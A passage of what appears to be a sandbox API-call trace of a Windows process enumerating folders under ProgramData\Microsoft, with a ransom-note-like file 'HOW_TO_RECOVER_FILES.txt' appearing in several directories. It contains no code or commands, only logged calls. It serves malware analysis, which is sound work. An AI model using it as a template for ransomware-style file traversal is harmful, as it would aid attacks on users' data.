dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499ff2f7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x499ff2f7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x291fc541, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x291fc541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0130.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.843] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV", lpFilePart=0x0) returned 0x21 [0130.844] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26268b4f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0130.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0130.844] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.845] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV", lpFilePart=0x0) returned 0x21 [0130.845] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.845] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.845] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26268b4f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.845] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0130.845] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.845] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.846] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV\\Setup", lpFilePart=0x0) returned 0x27 [0130.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 